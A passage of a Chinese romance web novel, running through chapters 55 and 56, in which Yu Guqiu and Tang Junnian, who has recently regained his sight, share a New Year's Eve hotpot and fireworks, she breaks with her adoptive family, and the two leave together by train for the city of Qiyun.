她只是作为一个和飞飞接触过几次的人尚且会有这种失落,汤骏年的心情更不言而喻。人生里痛苦的事有很多,其中最让人难受的其中之一是面对分离,其二,是面对未知。 恰好,汤骏年同时经历了这两者。 他刚刚恢复视力,需要熟悉一个十年里已经淡忘的世界,而这个世界里他熟悉的,可以让他感觉安定的人事都不存在了。 虞谷秋这时才很深地感觉到,她那样堪称粗暴的离开非常不讲道理。 她注视着汤骏年脱下大衣后清瘦的背影,他拎着菜往厨房走,月光下身姿的影子被压缩成薄薄一片,虞谷秋的情绪突然就抑制不住。 “对不起。”她忽然道。 他回过身:“怎么了?” “对不起。”虞谷秋低下头,“我不该那样……” 汤骏年风轻云淡地打断了她。 “你一直联络不上的时候,我想过很多可能。对我来说最可怕的是两个结果,一个刚才说过了,我怕是我做了什么让你非常讨厌我。还有一个就是怕你发生了意外。但那天去养老院我就看见你了,所以你没事,我就放下心。现在又知道你不讨厌我,对我来说就足够了。我已经松口气。” 虞谷秋愣愣地:“你在养老院看见我了……?” “是,我看见你朝我的反方向跑走了,虽然是一个很模糊的身影,但我觉得是你。” 虞谷秋难过道:“你是看了监控,知道是我的吧?” 汤骏年蓦地沉默下来,嘴唇动了动,略微叹息。 “从你第一次敲开我的门的时候,我就知道是你了,虞谷秋。你没发现我都尽可能不叫你吴冬吗?” 虞谷秋傻眼。 “不可能。”她立即反驳,“我们十年没见!声音虽然和高中比没什么变化,那也是十年!加上我们高中也没什么交流,你怎么可能听一下就听出来……” “我是没有一下子肯定是你,但听得越多,就越肯定是你。”汤骏年道,“如果那个人是我格外在意的人,我怎么会记不住对方的声线。所以你开口打招呼的时候,我就怀疑了。” 虞谷秋渐渐没了底气:“但也许,也许只是声音比较像。” “也有这个可能,但你的假名起得实在太烂了。” “……真的很烂吗?” “一个秋一个冬……”他看着她的表情改口,“只是粗糙,容易联系到,不是烂。” 虞谷秋不甘心地强词夺理:“那万一就是有一个叫吴冬的和我声音差不多的人存在呢!” “是,所以我一直只是抱有怀疑。直到那一天,我听到了。” “……什么?” “张艋他们来过清身指名我按摩,是你赶他们走的,我听到了。虽然你可以不必这么做,我不会觉得有什么,我做我的工作,他们是客人。”汤骏年道,“但……我还是很感谢你当时维护我。” 虞谷秋脸青一阵红一阵,喃喃:“原来你那时候就发现了,那你当时不拆穿我?” “我希望你能主动告诉我,但是到最后你都没说。我没有等到真相。而真相代表着真心。” 汤骏年微笑着,但他的语气却有了一点失控。 “吴冬是假的,那么你用这个假名对我说过的感情,也全部是假的吗?” 虞谷秋没说话,而是松了口气,心里想,太好了,他终于表露出生气。 引而不发的情绪最可怕,现在他这样逼问她,她反倒安心。 虞谷秋直视着汤骏年的双眼,回答:“不是假的。” 汤骏年的眼神变得有些迷离,微微眯起,为了更清楚地看清她的表情。但他们的距离并不能让他做到这一点。现在虞谷秋对他而言只是一个模糊的轮廓。 他放弃地偏过头,不再追问那到底是为什么,沉默地走向厨房。 虞谷秋沉默地跟进去,帮忙打下手。 菜是刚才在超市随便买的,没有剩下多少食材,最后挑了一些决定还是做火锅。汤骏年洗菜装盘,虞谷秋便在一边热锅烧水,两人还是有点默契,跟上次准备火锅时一样利落,三下五除二就端上了桌。 汤骏年问:“要不要再看点什么?” “春晚?” “行。” “你已经回清身上班了吗?” “是,不过这几天店铺关了,大家都回家过年。” “那还挺好的。” “养老院不放假吧?” “嗯,但有春节轮班的同事。我可以休到初五。” “那就太好了。” 他又拿来那台老式的笔记本,找到正在直播的春晚,略显冷清的客厅顿时热闹非凡,可虞谷秋仍觉得很空旷,此时此景,该有那只小狗被热腾腾的火锅吸引,趁机钻到桌下来了。 她忍不住问:“飞飞现在怎么样了?被领养了吗?” 汤骏年答:“听说已经确定了。” “是吗……” 她不知道该怎么说,当时明明夸下海口要去领养飞飞,但体检结果出来后,她就知道她与飞飞无缘了。 而他会觉得她的所作所为是在戏弄他和飞飞吗? 接下来两人陡然沉默,汤骏年会突然挑出锅里的虾子到她碗里,虞谷秋呆一下,然后夹一筷子山药回送到汤骏年碗中。两个人送来送去,好像在互相较劲,锅里本就不多的食材很快见底。 虞谷秋却开始依依不舍,多希望这顿饭能久一点,再久一点,她可以吃更多,吃到肚皮撑破。只要能和身边这个人再待久一点。 但另一个声音又在说,不要再待了,万一突然在今晚发病怎么办。趁现在赶紧离开吧,以后也不要再见面了,不要让他在拥有视力之后第一下看见的是你的丑态。 虞谷秋放下碗筷,在春晚的笑声中向他告别。 “汤骏年,我欠你一句当面的再见。” 汤骏年也放下筷子,看过来。 “以后连朋友都当不成吗?” 虞谷秋屏住呼吸,一鼓作气:“当然也不是,如果你有什么困难需要我帮忙,我一定义不容辞。但普通的吃饭见面……就不必要了。” 他垂下头,安静了好久,开口说: “虞谷秋,你既然说你对我的爱不是假的。那么你是不是只爱那个瞎了的我?高中的时候你不在意我,我现在手术治好眼睛了你也迅速离开,这是白骑士情结吗?”他的声音变得软弱,“你只想充当我的拯救者。现在时机成熟,你就准备离开,去充当下一位的拯救者了。” 高中的时候,我不在意你? 虞谷秋听到这句话真想发笑。她心想,自己太厉害,当年竭力隐藏对他的心思怕他讨厌,她做到了,且未免太成功。如今这竟然成为一道不错的回旋镖,扎中的却是两个人。 她果真也笑了出来,却让汤骏年的牙关咬得更紧。 而他想,自己完全猜中了她的病态心理,不然无法讲通她的突然抽离。 如今她的不反驳更是坐实这个想法的最后一根稻草。 事实上虞谷秋根本不知道什么是白骑士情结,只是想他既然已经找出一个合理的逻辑说服自己了,那她就误打误撞让他这么认为好了。 汤骏年冷着脸起身走向房间,再出来时手上抱了一桶烟花。 “我没有再别的要求,至少等放完烟花再走,可以么?” 虞谷秋犹豫片刻,跟着起身。 两人来到阳台,汤骏年放下烟花,滑开火柴点燃引线,劈劈啪啪地往上烧,一束烟花扑簌簌腾空,红色撒落,照满他们的脸。 现在离零点还早,家家户户暂时还按捺着放烟花的心情,于是他们的烟花独占鳌头,占据小半天空。 烟花打落的空隙,虞谷秋的余光扫向汤骏年,却惊异地发现他闭着眼。 “你干嘛不看?” “我在看。”他闭眼仰望着天空,“虞谷秋,告诉我现在的烟花是什么样子吧。” “……好。” 这一切又梦回那一天。 虞谷秋也闭上眼,望着天空,胡乱说道:“现在呢,是绿色的烟花,就跟刚下锅焯水的嫩竹笋一样青绿……” 而这时,汤骏年却打断了她。 “原来你上次也是这样闭着眼跟我说的吗?” 他已经不知不觉睁开眼,看着她,自然也知道刚才打上天空的并非绿色。 虞谷秋理直气壮:“对啊。这样才叫一起看嘛。你看不见,我也看不见,但我们最后都能看见。” 话落,一朵五彩烟花打亮,砰砰,汤骏年怔然地看着她的侧脸,迷迷蒙蒙的,他的视野看过去就是如此,被花火一衬,如梦似幻。 烟花打往的方向到底是天空,还是他的心脏? 汤骏年轻轻吸气,别过脸,说:“你骗我的事情里又要加一件了。” 虞谷秋破罐破摔地耸肩:“是,这么一想,我骗了你好多事啊。” 汤骏年无可奈何地再次闭上眼,这是一个接受她欺骗的动作。 虞谷秋于是也又闭上了眼睛,照旧胡言乱语地给他播报烟花实况,红说成绿,绿说成黄。 直到最后一束落下,不再听到声音。 她正要将眼睛睁开,一束压轴的大烟花发出咻咻的前奏,预示着这一切并没有结束。 汤骏年说的没错,人在失去视觉时,其他的感官会被更剧烈地调动,所以她的耳朵能捕捉到那最后一束还没打出去的烟花,除此之外还有衣服轻微的摩擦声,是一个人弯下腰来压出的褶皱。她的鼻子能闻到烟花散在空气中的,淡淡的硫磺味,还有正在这一刻向她靠拢的熏香的气味。而她的嘴唇…… 她的嘴唇在颤抖。 因为另一双温热的嘴唇倾下来了,贴住她的唇角,这一刹那,头顶的火花摧枯拉朽。 最后一束烟花打上去了,是什么颜色,她不知道。 汤骏年的嘴唇退开一点距离,气声哀哀地呢喃,不要走,不要不见我,好不好? 第55章 虞谷秋重新回到养父母家时, 果然免不了被一顿训斥,虞千山质问她一去几小时还打不通电话是在干什么,他们差一点就要报警。 虞谷秋哪里还管得上他们的训话, 一副神游天外的表情。 她甚至都不记得自己怎么从汤骏年家里出来的,她被那记浅浅挨中嘴边的吻给慌到无法思考, 那瞬间脑子里想的是, 好遗憾,为什么他吻偏了。是因为视力不好没看清吗? 令虞谷秋羞愤的不是这个吻,而是自己脑袋里那瞬间冒出来的这个想法。 她什么也答不上来, 答不好,当着他面她于心不忍。说好,那就无法收场。只好又当起叛逃的小兵, 跑回客厅捞起手机就跑了,仗着汤骏年现在的视力也跑不快, 追不上她。 她漫无目的在街上跑了好一会儿才打到车,神情却依旧没冷却,还好,手机仍是关机的,她还处在一种暂时不用理会所有人的真空中。 不过等回到养父母家,真空包装袋撕开了,她又要开始面对一切。 虞谷秋垂首听了一通训, 不顶撞也不言语,这态度反而让虞千山更恼火。 “你倒是说话!”他厉声。 虞谷秋终于拿出黑屏的手机:“没电了。” “那你人去哪里了?不是说去楼下买东西吗?用得了那么长时间?” 虞文夏见缝插针道:“对啊, 我的烟呢?” 虞谷秋冷眼说:“在便利店垃圾桶里, 你自己去捡吧。” 虞文夏愕然,怀疑自己听错了。 虞谷秋的身体里还藏着一种火热的余韵,是刚才一路在街头里乱跑时带出来的, 这股余热并没有散去,在这一刻开始烧着她的神经。 她看向虞千山身后,沙发上坐着虞文夏,和在他旁边不知所措满脸尴尬的未婚妻。胡采春坐在她之前搬过来的椅子上。 虞谷秋收回视线,抬头撞向虞千山的眼睛。 “我是去买东西,去买吃的。”她坦白道,“因为我没有吃饱,所以我出去吃了。” 虞千山好笑道:“你没吃饱?那么大一桌子菜你跟我说你没吃饱?”他匪夷所思,“你嘴巴比天王老子还叼啊?” 虞谷秋平静地反问他:“爸,那你能说出菜桌上有哪道菜是我爱吃的吗?” 他张口正要说,却硬生生转了个弯,继续呵斥道:“都多大年纪的人了,还爱吃这爱吃那搞挑食?” “你不也是吗?你也光挑几道菜吃。” 他哑然,继而冷下脸理直气壮道:“我记得你爱吃什么有什么用,做饭的又不是我。” “我也不做饭,但我知道爸你爱吃什么,我记得所有人的。今晚做了八个菜,蒜肠切片,糖醋萝卜丝,粉蒸排骨是爸你爱吃的。酱牛肉,京酱肉丝,疙瘩汤是弟弟爱吃的。一道红烧鲤鱼是妈以为我爱吃的,最后还有一道栗子烧鸡应该是弟妹爱吃的吧。这里面没有一道菜是妈自己爱吃的,其实也没有我爱吃的,我很早以前就不爱吃鱼了。” 胡采春站了起来,夹起眉头:“你说这些干什么?!” 虞谷秋捏紧拳头,暴起说:“妈,你可以不做一道自己想吃的菜,可以非放着洗碗机不用亲手洗那些脏盘,可以忍受用那个坏掉的壶照顾你的植物,我却不想再这样下去!我不想再在除夕夜饿得吃泡面,也不要再睡那个根本无处下脚的房间和盖霉味的被子!” 她的声音不大,却很快速,生怕自己被打断一点就说不下去了。 四个人面色各异地听完,最先有反应的人是虞文夏。 他冷笑一声阴阳怪气:“哇——听上去好惨啊。你说你自己就好还要拖我妈下水,不就是那点理由根本站不住脚吗?夸大其词说的我们虐待你一样,明明还当姐姐在我头上作威作福的,真没有良心。” 虞千山这时也回过神,他反倒不生气了,露出笑容来。 虞谷秋看着他的笑容,慢慢地身体发麻。 他上下扫了她一眼,摇头,不当回事:“你啊你,马上三十的人了居然还能和小学时候一样,吵着闹着发不知所谓的脾气。” 虞谷秋动弹不得,看着虞千山悠悠地冲她笑:“又要嚷嚷离家出走吗?真的是小孩子,不结婚成家就会这样。文夏啊,你可不能学习你姐姐这一点。” “干什么——最后又训到我头上?” 虞文夏向她飞来一个白眼。 虞谷秋突然也笑了。 她从这种令人无法动弹的笑容中慢慢挣脱出来,因为她意识到,自己已经不是十二岁,她二十八岁,赚了一些钱,获得过一些爱,即便给予她爱的人们现在并不在她身边,但那份爱却支撑着她明白了一件事,那就是不要再草率对待自己。 她该有力量,不该再做那个流着眼泪默默寻找安身之所的孩子。她已经有自己的去处,即便那是她租来的房子,但她的确是有去处。 虞谷秋摸着从汤骏年那里拿回来的戒指,深深地呼吸,视线扫过屋内的所有人,最后对上虞千山不以为然的眼神。 “如果我是无理取闹,那这么多年过去我早该忘记你对我说的那句话,你说求之不得我走。” 虞千山眉头微拢,显然想不起来自己说过。 虞谷秋露出笑容,这也许是她第一次在这个家里笑得如此舒心。 “我唯一不孝的地方,那就是现在才让你如愿。” “再见。” 虞谷秋再一次奔跑起来。她跑下楼,没意识到正是零点,全城烟花怒放,连绵成片,像在为她喝彩。 二十八岁的虞谷秋,终于在这一年成功地离家出走。成为一只离巢的鸟儿,扇动着还不算灵活的翅膀,飞啊飞啊,不再回头。 * 除夕的夜晚,虞谷秋又回到自己的一楼出租屋,听着左右和上面的屋子的动静,却睡得非常安心。 隔天早晨醒来,她却觉得一切都太安静了,安静得不合常理。 她下床从口袋里摸出手机,才发现还是被自己关机的状态,怪不得…… 昨夜发生的一切在脑子里走马观花,开机之后必将面对巨浪,这让她恨不得手机就一直关机下去算了。 逃避了一个小时,她随便给自己下了碗面条,吃饱喝足,终于有了力气面对。 一开机,屏幕亮起的瞬间,手机几乎把手震麻。 太多未接来电和微信消息,她草草地刷过去,群发的拜年消息,大多来自于养老院的老人家属,其中还掺杂了一条许琼的,也是群发,她忽略,回了几条能看出是单发的祝福短信,院长,杨芩,郑宵,栗子,这里面还有一条来自于许琼的儿子周承意,她也一样忽略。 再然后,就是胡采春发来的长篇大论,核心宗旨就是赶紧回家向虞千山还有虞文夏道歉。她正奇怪凭什么还有虞文夏的事,结果一看,虞文夏发了好几条消息骂她,说他带未婚妻回来结果让人见家丑,这婚事要吹了,她根本就不配当姐姐。 这个走向大大出乎虞谷秋意料,一切就像蝴蝶效应,又好像是命中注定,她临时起意跟着汤骏年去吃了一顿饭,却无意改变了别人的命运。 但虞谷秋认为这是那位女士的福气,幸好在嫁进这样的家庭之前逃掉了。 她拉黑虞文夏,继续无视胡采春的消息,她想对她说的话在厨房里都已经讲完了,再浪费口舌无意义。 最后的最后,虞谷秋终于硬着头皮点开了汤骏年的消息。 他就言简意赅地发来:「对不起,我亲你你生气了吗?」 为什么这人还要特意把“我亲你”这个事实再点出来?她要是在生气的话不是会更生气吗? 她无语凝噎,当时的感受却又同时涌上心头,像是心口有只小狗在打转,抓自己的尾巴而不得。 虞谷秋跑到阳台上吹风,一边看着手机发呆。 良久,她回他:「没有,只是有一点意外」 她没想到汤骏年秒回。 「意外?跨年那晚你也亲过我,我以为你不会很惊讶」 虞谷秋脸涨成猪肝红,替自己辩解:「因为那个时候你看着太伤心了,我情不自禁……」 默了半晌,他笃定道:「你果然是白骑士情结」 ——到底什么是白骑士情结啊? 虞谷秋这时才想起来去查一下,看完恍然。百科上说这是一种以治愈他人走出低谷为乐的心理状态,如果对方没有创伤就会失去价值感从而失去兴趣。 这么一对比,自己的行为似乎真的歪打正着地吻合上。 如果汤骏年能知道当年她暗恋他,这个事就不攻自破。 但现在她不必再解释,这样阴差阳错也好。 汤骏年见她没回,又发来一条:「关于昨晚的那个答案,你还没告诉我」 这不是当面,虞谷秋不再有顾虑,干脆利落地回他两个字:「不好」 她收起手机。 今天的天空灰蒙蒙的,不知是不是昨夜的烟花太过绚烂,那些飘下的烟尘都堆到空气里不散。这绝不是做大扫除的好天气,让虞谷秋刚提起的念头一瞬间被打散了。她心安理得地继续在成堆衣服的沙发中躺下来。 在沙发上躺着的她也很忙碌,睡了个午觉,睁眼醒来看剧,再玩会儿做饭游戏,手点来点去差点抽筋……一直忙到跳过中饭,夕阳下沉,她侧头看向窗外,天空恢复了些光彩,昏黄的光从窗外的一棵树下漏进,漏到地板上,几点柔和的光圈。 她盯着光圈看入迷,手机在这时开始震动。 是汤骏年打来的电话。 她犹豫了很久,电话也就响了很久,在跟她角力。 “……喂。” 虞谷秋投降,最终接通。人依旧懒在沙发上,不想开免提,把手机贴在耳边,汤骏年的声音便清晰地钻进来,令她精神一振:“虞谷秋,我们来打个赌吧。” “赌?” “当时我不愿意收林淑秀的东西,你说要跟我打赌让我改变主意。”他说,“那么我是不是也可以有一个和你打赌试试让你改变主意的机会?” 虞谷秋听得一愣一愣。 她挣扎着,刚要将“不行”说出口,汤骏年匆忙道:“赌注不需要是继续见面。” 她不禁好奇:“那是什么?” “如果赌注是继续见面,我想你就会直接拒绝我,对吧?” 虞谷秋无言以对。 汤骏年继续道:“所以不用继续,就再见一次就好。” “……就再见一次?” “是的,赌吗?” 冬日的冷风吹过虞谷秋的脑门,她却脑袋一热。 “现在就猜吗?” “是,现在。” “那……来吧。” 汤骏年随即挂掉了电话,发来一个音频文件。 她做好准备,凝神倾听。害怕自己猜中,也害怕自己猜不中。 点开文件,却是一片安静,只有空气的噪音。 她纳闷:「你是不是发错了?」 他回:「没有,这里已经包含了一种声音」 「……」 虞谷秋反复点开几遍,无果,最后想,这不会是一出皇帝的新衣吧?故意录一段空气,然后说这里面有声音,故意引导她绞尽脑汁,正所谓大道至简,最复杂的往往是最简单的。 她越想越觉得这样没错,信心十足地给出答案:「空气!」 「错了」 一锤定音。 虞谷秋感到一种难以言说的高兴,却“气鼓鼓”地发去质问:「你是不是在骗我?不是空气是什么?」 汤骏年不言语,却发来一段视频。 是一段夜晚下雪的视频。 拍摄者站在窗边,屋内没有开灯,窗外纷飞的雪看上去很明亮。但拍摄者仿佛觉得这点亮度不够,不足以看清,于是抬手打开窗户,打亮手电,照向窗外的雪。飘飞的雪花染上光,在黑色的天幕下变成一群成群结队的萤火虫…… 「发给你的,是视频里雪花的声音」 「你答应过我要带我看雪,但你走了。这是我一个人看的雪,现在我们也算一起看了」 看着汤骏年发来的两条消息,虞谷秋逐渐放轻了呼吸。 她的对不起三个字还打在发送框中,他已又发来:「不用为你的失约道歉,只要遵守我们这次的赌约就好」 虞谷秋便逐字删掉那三个字,改为:「我会的」 他发来一个两只狗爪爪相碰的表情包。 「那我们今天晚上七点在南站见面吧」 「南站?坐动车的那个南站?」 「是」 「去那里干什么?」 「一起离开这里,你不是休到初五吗?我们初五再回来」 虞谷秋傻眼。 「这我可没答应!!」 汤骏年冒出个微微一笑的表情。 「你答应了的,说再见一面。而我并没说过这最后一面的时限只有一天」 第56章 晚上六点半, 汤骏年拖着一只二十六寸的行李箱走进南站。 他发信息给虞谷秋表示自己到了,再往上,是他给她发的车票截图, 目的地是栖云,她根本没回。 汤骏年找到检票口, 还未到检票时间, 他坐到角落,开始盯着手机。 去栖云并不是一时兴起,他去那里也并非游玩, 虽然栖云是个不错的旅游城市。它在北端的沿海岸,毗邻外海。从京崎搭动车过去得三个小时。 夏天那里山林茂密,徒步登山很受人欢迎, 不论游客还是当地人。据说山顶有一间很灵的寺庙,大家都喜欢去那里拜拜。 至于冬日就更妙了。正是二月这个时节, 巨大的冰块会从黑江河口南下,覆盖海面,在栖云市的港口形成一片望不到边的白色海平原。若搭一艘破冰船,能看到令人难忘的绝景。 这是大多数人都知道的热知识,但这些对于汤骏年来讲,却是一个冷知识。能指望一个十年看不见的人对旅游有多少憧憬?大数据绝不会推送给他这些。 他是决定去那里之后,才开始陆续刷到了推荐。 而他想去那儿, 是因为在眼睛手术恢复之后重新亲自整理了一遍妈妈的遗物。 当年需要整理遗物时他的眼睛已经看不见了,只能靠别人转述形容做了大致规整, 必然有很多遗漏的地方。这一次重新经手, 他在妈妈的信件中发现了来自栖云的一封信。 引起他注意的是寄信人的名字,大名冠又青,但在信封的最右下角, 又标注了个小小的昵称:小和尚。 当时念的人根本没有念到这里,他也就不知道原来这位小和尚也写信给妈妈过。从林淑秀的信息中,他以为那人小时候搬家后就和妈妈失去联络了。但其实搬家后他曾经来过信,不过也就这一封。 都这么些年过去了,那位小和尚也快变老和尚了,他不一定还住在栖云,但汤骏年想尝试着去找一找,并非是想把妈妈当年没有寄出去的信交给对方,更多的……大概就是想要看一看那位初恋的样子,想问问他口中小时候的妈妈。 这本来是他之前决定好的一人旅行,而盘算着让虞谷秋加入则是意外之举——在看到除夕夜她在便利店吃泡面的那刻起,他就感到愤怒,这愤怒早就超过了他想质问她的关于自己的种种。 那时起,他就在计算着该如何邀请她一起来。 栖云是个不错的散心城市,他想拉着她从那个家庭中离开。至于他们之间的事都是其次了。 但是看着逐渐逼近的时间,空无音讯的聊天框,汤骏年却意识到自己太自以为是。 再怎么说,他们都是她的家人,而他是她如今正要抛下的人,两者该选谁?这根本是不需要犹豫的选择。 他知道自己不必再期待,还有五分钟动车就要开,他应该现在立刻起身,以自己慢吞吞的视力才能勉强坐上列车。 汤骏年却没有动。 倒计时四分钟了。 他看了一圈人来人往的候车大厅,比起视力他还是更依靠听力,无数的脚步和行李箱的车滚轮形成交响曲,没有任何错漏的一拍。 倒计时三分钟。 汤骏年低下头,将行李箱撑在前充当盲杖往前走,刷身份证过了自动闸机。 他再次回头,仍一无所获。 倒计时两分钟。 他搭乘电梯往下,在按电梯门时仍望着空无一人的闸口,直到电梯门彻底合上,仍没有他想象中的那个画面,比如虞谷秋突然火急火燎地冲进来,像电影情节上映那般。 倒计时一分钟,汤骏年终于踩着线上了列车。 时间紧张的缘故,他都没能先找到车票所属的车厢,而是随便上了站台最近的车厢,再一截一截地找过去。 第六节,第七节,第八节……第十节。 穿越一节又一节的人群,时隔十年的出行,汤骏年兴致缺缺地终于来到他的车厢。 而在他的位置旁边,已经有人坐在那儿了。 那人风轻云淡地扬起头看向他说:“汤骏年,你怎么这么慢呐!” * 虞谷秋是晚汤骏年十五分钟来到南站的。 她当然想去,无论是去栖云还是去到汤骏年身边,但理性还在和渴望作对。一整个下午,她一会儿在想这是最后一次了没关系,最后一次是具有吸引力的字眼,有着超乎寻常的美妙结束是最棒的结局。一会儿又在想跟着去汤骏年家里吃饭时也是想着最后一次,这最后一次无穷无尽了。 最后,虞谷秋还是把选择交给天意。 ——如果等到六点时汤骏年所在的那截车厢还有位置,她就买票。 虞谷秋打定主意后,就把手机锁住。中间她分出了一点精力整理出了一只旅行箱,然后将它挪到了阳台上,假装忘记有这只箱子的存在。 然后再重复之前的步骤,找剧看,或者玩游戏,却哪样都提不起劲,盯着时间反复思索——怎么才过去一小时? 就在这样反反复复的消磨和等待中,时间终于走到六点。 她迫不及待地点开购票软件,第十节车厢…… 有票。 虞谷秋瞬时放下手中的一切,跑到阳台拿上箱子,一气呵成地跑出家门,在最后十五分钟踩点到了检票口。 她很轻易地发现了汤骏年的身影,可他正在低头看手机,两人的目光错过。 坏心眼也是在这一刹那萌生。她不声不响地检票进站,上了车厢,发现汤骏年旁边的位置已有人坐,抱着试试的心理问问对方可不可以换座,对方很爽快地答应了。 于是,一切水到渠成,她憋着劲儿,等到汤骏年进来时给他一个非常装模作样的亮相,表面云淡风轻,内心滚来滚去。 唯一美中不足的是汤骏年惊愕的反应并不大,定了定神后在她身边坐下,仿佛笃定她会来似的,随口一句:“怎么不回我消息?” 虞谷秋心虚:“我没注意。对了,你住哪里?我订和你一家住宿吧。我还没来得及订。” “不用,我订过了。” “你提前订了两间?” 他睨她一眼:“一间。” 虞谷秋神色一呆,惊得支支吾吾:“你说我们……我们要住……一间?” 他平常道:“我记着你的要求。” 虽没明说,但言语里却在暗示之前她豪迈地和前台说要开一间房的事。 她羞恼道:“那时候不一样!” “因为我能看见了,就不能住一起了吗?” “不是不是!之前只是为了躲雨,和住一起怎么能算一样!” 他笑了笑:“好了,不逗你了。我订的是一间民宿,房间是分开的,不要顾虑。” 她点点头,心里仍一跳一跳——这已经算变相的临时同居了。 虞谷秋塞上耳机,下意识地要打开播客听汤骏年的声音。明明他就在自己身边,可她已经习惯了从他隔着一层的声音中寻求平静。 汤骏年瞄到她的手机屏幕:“你在听播客?” 虞谷秋反扣住手机,怕他看见自己的小号,不满道:“你干嘛偷看。” “对不起,我是不小心转过头……而且这个距离我根本看不清你的手机。”他解释,“只是觉得界面有点像,所以没忍住问了。” 虞谷秋撇撇嘴:“好吧,原谅你了。”她装腔作势地问,“那你呢,你还有没有在更新?” “你应该知道的。” 虞谷秋脑门一紧,声音高了两分:“我为什么会知道?” 他笑:“你不是都催我再不更新要让警察来抓我了?” 虞谷秋瞪大眼:“你为什么连这个都知道会是我?我号都换了!” “本来不确定,只是诈诈你,现在知道了。” “……” 虞谷秋叹口气,也不装了,催他:“那你到底还更不更新!” “知道你还在听的话,我当然会更的。但之前我一直不觉得那个人会是你,你都离开得这么决绝,已经对我完全失去兴趣了,又怎么还会来听我的播客?” 他并不是抱怨,有点自言自语般地叙述着他的心情,却难免让虞谷秋听得难受。 列车外是黑魆魆的荒野,也存在着明亮的幻影。她从窗户里望着汤骏年,望着并肩而坐的他们,不知不觉睡着了。 醒过来时,她脑袋正歪在窗户上。更确切一点,是汤骏年的手上。他一只手从她后背横过来,像揽着她的姿势,手心里揉了一块他的白色围巾,垫在她的脑门和列车冰冷的窗户之间。 她慌忙坐直,背却又压住他的胳膊,又慌张往前倾。又赶忙抹了抹嘴巴,确认没有口水糟糕地流出来。 汤骏年抽走手,动了动肩头说:“就要到了。” 虞谷秋想道谢,想说不好意思麻烦他一路,扭捏半天,脱口却说的是:“你都不困吗?” 汤骏年微微一笑,语气难得不平静,像被风吹开的书页一样哗啦啦地飞舞着。 “怎么会困呢,我已经十年没有旅行过了。”他看向她,“所以我真的真的很高兴你最后来了,参与到我十年后的第一次旅行里。” 虞谷秋心头一软,飞快地把头扭向窗户。 * 列车在晚上近十二点抵达栖云,这并不是这趟列车的终点站,只有少数人在这站下了车。 两人辗转着打了一辆车前往民宿,上车时汤骏年还调侃她,问她要不要坐到副驾去。虞谷秋无言以对,想到那时候装哑巴都被他看在眼里……她一骨碌沉默地钻进后排,扒着窗户看向街头。 深夜的栖云很空旷,车少人少,马路却很宽阔,夜空也很高,没有一朵云,环绕的山远远地连绵在城市的边缘,给人的第一感觉是辽阔。 二十分钟后车子行驶到目的地,大大出乎虞谷秋的期待,他说是一间,其实是一栋。民宿是一栋带小院的两层小楼,两个人住这么大的房子真是奢侈。 “干嘛订了个这么大的?” “因为便宜的被订光了。” “呃……哦。”好朴实的理由。 “这样也好,有很多房间,你可以挑一间你喜欢的。” “那我不客气了!” 虞谷秋把箱子往门口一搁,开始逐个房间打开门探进脑袋查看,审查完一楼又跑上二楼,沉寂的小楼里一时间充满了她的跑动声。 最后她跑回一楼,挑了一间窗户正对着小院的房间。 “我确定要这间了!” 她踏出房门,汤骏年便拉着箱子去了离她房间很远的一间。 她不由得跟过去看,他挑的房间竟然连窗户都没有。 这么多漂亮的房间偏偏挑这么一处住,这不是纯纯自找苦吃。 “你确定这间?” “嗯。我住这里你会比较自在吧。二楼我的眼睛不太方便,但要是你不想我和你同一层,我去二楼也可以。” “我不是这个意思。”虞谷秋皱起眉,“我是觉得你可以住得更舒服点,挑其他的不好吗?” “哪怕在你的房间旁边也可以?” 她微怔,讷讷道:“当然……这又没关系。” 汤骏年放下行李箱,转道向虞谷秋走来。 她盯着地面,越来越近,越来越近,两人脚尖悬上,她绷紧身体,往后一退,背撞上墙,退无可退。 “虞谷秋,你告诉我。”他的声音在她头顶响起,“你到底是希望我离你远一点,还是离你近一点?” 她抬起头,微妙地错开他的视线回答:“随便你住哪一间。” * 早晨八点,虞谷秋醒了过来。她昨晚失眠到四点才睡着,看了半宿窗外的小院和月亮,忘记拉窗帘,被阳光生生晒醒。 而房门外已经有开火的动静。民宿的厨房是和客厅相连接的开放岛台,她想着汤骏年竟然比自己起得还早,于是也赖不了床了,一骨碌爬起来跑进这个房间自带的卫生间开始洗漱,坐在镜子前仔仔细细地化妆。 他眼睛看不见时,她有时候连妆都不化就去见他了,但现在不行,现在她开始注意起自己脸上有没有因为熬夜而长出新痘痘,或是眼下的乌青,又或者是衣服穿得合不合适。 就这样磨蹭大半天,她确认自己万无一失,小心翼翼地打开房门。 油烟机的声音已经停了,汤骏年正在餐桌边吃早餐,他的对面还放着一盘碟子,上面是刚煎好的鸡蛋培根和吐司,还有一杯牛奶。 他抬眼招呼道:“吃早餐吗?不过有点冷了,需要加热一下。” “没事,有的吃我就不挑。” 虞谷秋拉开椅子在他对面坐下,汤骏年慢慢停止咀嚼的动作,眼神定在她脸上。 她不自在地看回去:“干嘛?” 他蓦地从椅子上微微起身,双手一撑,身子穿越大半个餐桌贴到虞谷秋面前。她睁大眼睛,屏住呼吸,直到汤骏年又一脸若无其事地坐回去。 他好奇道:“你化妆了?” “是……我化得很奇怪吗?”她抿了抿涂了唇膏后粘腻的嘴巴,嘀咕说,“有必要这么大惊小怪地凑过来看?” “不是这样。”汤骏年替自己解释,“我只是凑到那个距离才能看清。而我想看清是因为我从没看过你化妆的样子。” “啊,你对我印象最深的还是我高中时候的样子吧?” 汤骏年点点头。 虞谷秋玩笑道:“那如果你一直不做手术的话,我在你心里是不是就一直青春永驻了?这么一想有点可惜。” 他想了想:“然后只有你单方面看着我变老吗?太狡猾了。” 虞谷秋戳了戳煎蛋:“不会的。我应该看不到那一天吧。” 空气冷却下来。 汤骏年却像没听见,慢条斯理地扫空了盘子里的食物,还剩半杯牛奶,于是他还可以继续光明正大地坐在她对面,看着她吃,一边说:“无论如何,能看到现在的你对我来说是件很幸福的事。” 虞谷秋低下脑袋,咀嚼的动作逐渐变得心不在焉。 “那天晚上你拉着我的手让我摸你的脸,想象你的样子。我却怎么也想象不出来会是什么样。脑海里一直都是十八岁时你的样子。我很遗憾,心里想我是不是永远只能想起你十八岁时的样子,或者说哪一天我连你十八岁的样子都会想不起来?因为记忆已经开始模糊了。所以我当时特别渴望能看见你。而老天已经准许我完成了这个愿望,也许我真的不该再过于贪心。” 他说完,一口饮尽剩下的半杯牛奶,端起餐盘准备离开。 虞谷秋听完这番话根本食不下咽,一股脑地叫住他。 “汤骏年!” 他停下脚步,停在她身边。 她仰起头:“还没问过你,十年后的我看上去怎么样?” 他低下头,伸手抹掉她嘴边吃出来的那一点粘腻的唇膏,轻声呢喃:“神魂颠倒。” 